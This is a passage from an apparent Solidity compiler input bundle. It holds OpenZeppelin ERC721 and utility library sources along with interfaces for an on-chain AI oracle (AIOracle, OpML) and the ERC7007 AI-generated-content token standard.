revert ERC721InvalidSender(address(0));\n }\n }\n\n /**\n * @dev Mints `tokenId`, transfers it to `to` and checks for `to` acceptance.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n _checkOnERC721Received(address(0), to, tokenId, data);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal {\n address previousOwner = _update(address(0), tokenId, address(0));\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address from, address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n address previousOwner = _update(to, tokenId, address(0));\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking that contract recipients\n * are aware of the ERC721 standard to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is like {safeTransferFrom} in the sense that it invokes\n * {IERC721Receiver-onERC721Received} on the receiver, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `tokenId` token must exist and be owned by `from`.\n * - `to` cannot be the zero address.\n * - `from` cannot be the zero address.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(address from, address to, uint256 tokenId) internal {\n _safeTransfer(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeTransfer-address-address-uint256-}[`_safeTransfer`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * The `auth` argument is optional. If the value passed is non 0, then this function will check that `auth` is\n * either the owner of the token, or approved to operate on all tokens held by this owner.\n *\n * Emits an {Approval} event.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address to, uint256 tokenId, address auth) internal {\n _approve(to, tokenId, auth, true);\n }\n\n /**\n * @dev Variant of `_approve` with an optional flag to enable or disable the {Approval} event. The event is not\n * emitted in the context of transfers.\n */\n function _approve(address to, uint256 tokenId, address auth, bool emitEvent) internal virtual {\n // Avoid reading the owner unless necessary\n if (emitEvent || auth != address(0)) {\n address owner = _requireOwned(tokenId);\n\n // We do not use _isAuthorized because single-token approvals should not be able to call approve\n if (auth != address(0) && owner != auth && !isApprovedForAll(owner, auth)) {\n revert ERC721InvalidApprover(auth);\n }\n\n if (emitEvent) {\n emit Approval(owner, to, tokenId);\n }\n }\n\n _tokenApprovals[tokenId] = to;\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Requirements:\n * - operator can't be the address zero.\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n if (operator == address(0)) {\n revert ERC721InvalidOperator(operator);\n }\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` doesn't have a current owner (it hasn't been minted, or it has been burned).\n * Returns the owner.\n *\n * Overrides to ownership logic should be done to {_ownerOf}.\n */\n function _requireOwned(uint256 tokenId) internal view returns (address) {\n address owner = _ownerOf(tokenId);\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n return owner;\n }\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target address. This will revert if the\n * recipient doesn't accept the token transfer. The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n */\n function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private {\n if (to.code.length > 0) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n if (retval != IERC721Receiver.onERC721Received.selector) {\n revert ERC721InvalidReceiver(to);\n }\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert ERC721InvalidReceiver(to);\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n }\n}\n"
},
"contracts/AIOracleCallbackReceiver.sol": {
"content": "// SampleContract.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\nimport \"./IAIOracle.sol\";\n\n/// @notice A base contract for writing a AIOracle app\nabstract contract AIOracleCallbackReceiver {\n\n // Address of the AIOracle contract\n IAIOracle public immutable aiOracle;\n\n // Invalid callback source error\n error UnauthorizedCallbackSource(IAIOracle expected, IAIOracle found);\n\n /// @notice Initialize the contract, binding it to a specified AIOracle contract\n constructor(IAIOracle _aiOracle) {\n aiOracle = _aiOracle;\n }\n\n /// @notice Verify this is a callback by the aiOracle contract \n modifier onlyAIOracleCallback() {\n IAIOracle foundRelayAddress = IAIOracle(msg.sender);\n if (foundRelayAddress != aiOracle) {\n revert UnauthorizedCallbackSource(aiOracle, foundRelayAddress);\n }\n _;\n }\n\n /**\n * @dev the callback function in OAO, should add the modifier onlyAIOracleCallback!\n * @param requestId Id for the request in OAO (unique per request)\n * @param output AI model's output\n * @param callbackData user-defined data (The same as when the user call aiOracle.requestCallback)\n */\n function aiOracleCallback(uint256 requestId, bytes calldata output, bytes calldata callbackData) external virtual;\n\n function isFinalized(uint256 requestId) external view returns (bool) {\n return aiOracle.isFinalized(requestId);\n }\n}"
},
"contracts/IOpmlLib.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.23;\n\ninterface IOpmlLib {\n function initOpmlRequest(bytes calldata input) external returns (uint256 requestId);\n\tfunction uploadResult(uint256 requestId, bytes calldata output) external;\n\tfunction startChallenge(uint256 requestId, bytes32 finalState) external returns (uint256 challengeId);\n\tfunction respondState(uint256 challengeId, bytes32 stateHash) external;\n\tfunction proposeState(uint256 challengeId, bytes32 stateHash) external;\n\tfunction assertStateTransition(uint256 challengeId) external;\n function isFinalized(uint256 requestId) external view returns (bool);\n\tfunction getOutput(uint256 requestId) external view returns (bytes memory output);\n}"
},
"contracts/IAIOracle.sol": {
"content": "// SampleContract.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\ninterface IAIOracle {\n /// @notice Event emitted upon receiving a callback request through requestCallback.\n event AICallbackRequest(\n address indexed account,\n uint256 indexed requestId,\n uint256 modelId,\n bytes input,\n address callbackContract,\n uint64 gasLimit,\n bytes callbackData\n );\n\n /// @notice Event emitted when the result is uploaded or update.\n event AICallbackResult(\n address indexed account,\n uint256 indexed requestId,\n address invoker,\n bytes output\n );\n\n /**\n * initiate a request in OAO\n * @param modelId ID for AI model\n * @param input input for AI model\n * @param callbackContract address of callback contract\n * @param gasLimit gas limitation of calling the callback function\n * @param callbackData optional, user-defined data, will send back to the callback function\n * @return requestID\n */\n function requestCallback(\n uint256 modelId,\n bytes memory input,\n address callbackContract,\n uint64 gasLimit,\n bytes memory callbackData\n ) external payable returns (uint256);\n\n function estimateFee(uint256 modelId, uint256 gasLimit) external view returns (uint256);\n\n function isFinalized(uint256 requestId) external view returns (bool);\n}"
},
"contracts/IERC7007Updatable.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.23;\n\nimport \"./IERC7007.sol\";\n\n/**\n * @title ERC7007 Token Standard, optional updatable extension\n */\ninterface IERC7007Updatable is IERC7007 {\n /**\n * @dev Update the `aigcData` of `prompt`.\n */\n function update(\n bytes calldata prompt,\n bytes calldata aigcData\n ) external;\n\n /**\n * @dev Emitted when `tokenId` token is updated.\n */\n event Update(\n uint256 indexed tokenId,\n bytes indexed prompt,\n bytes indexed aigcData\n );\n}"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n"
},
"contracts/IERC7007.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.23;\n\nimport \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/IERC721.sol\";\n\n/**\n * @dev Required interface of an ERC7007 compliant contract.\n */\ninterface IERC7007 is IERC165, IERC721 {\n /**\n * @dev Emitted when AI Generated Content (AIGC) data is added to token at `tokenId`.\n */\n event AigcData(\n uint256 indexed tokenId,\n bytes indexed prompt,\n bytes aigcData,\n bytes proof\n );\n\n /**\n * @dev Add AIGC data to token at `tokenId` given `prompt`, `aigcData` and `proof`.\n *\n * Optional:\n * - `proof` should not include `aigcData` to save gas.\n * - verify(`prompt`, `aigcData`, `proof`) should return true for zkML scenario.\n */\n function addAigcData(\n uint256 tokenId,\n bytes calldata prompt,\n bytes calldata aigcData,\n bytes calldata proof\n ) external;\n\n /**\n * @dev Verify the `prompt`, `aigcData` and `proof`.\n */\n function verify(\n bytes calldata prompt,\n bytes calldata aigcData,\n bytes calldata proof\n ) external view returns (bool success);\n}"
},
"@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard ERC20 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n */\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n/**\n * @dev Standard ERC721 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n */\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}\n\n/**\n * @dev Standard ERC1155 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n */\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC165} from \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"./math/Math.sol\";\nimport {SignedMath} from \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n uint8 private constant ADDRESS_LENGTH = 20;\n\n /**\n * @dev The `value` string doesn't fit in the specified `length`.\n */\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toStringSigned(int256 value) internal pure returns (string memory) {\n return string.concat(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value)));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n uint256 localValue = value;\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n localValue >>= 4;\n }\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal\n * representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC721} from \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be\n * reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC165} from \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon\n * a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or\n * {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon\n * a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the address zero.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n /**\n * @dev Muldiv operation overflow.\n */\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor, // Toward negative infinity\n Ceil, // Toward positive infinity\n Trunc, // Toward zero\n Expand // Away from zero\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, with an overflow flag.\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds towards infinity instead\n * of rounding towards zero.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n // Guarantee the same behavior as in a regular Solidity division.\n return a / b;\n }\n\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or\n * denominator == 0.\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by\n * Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 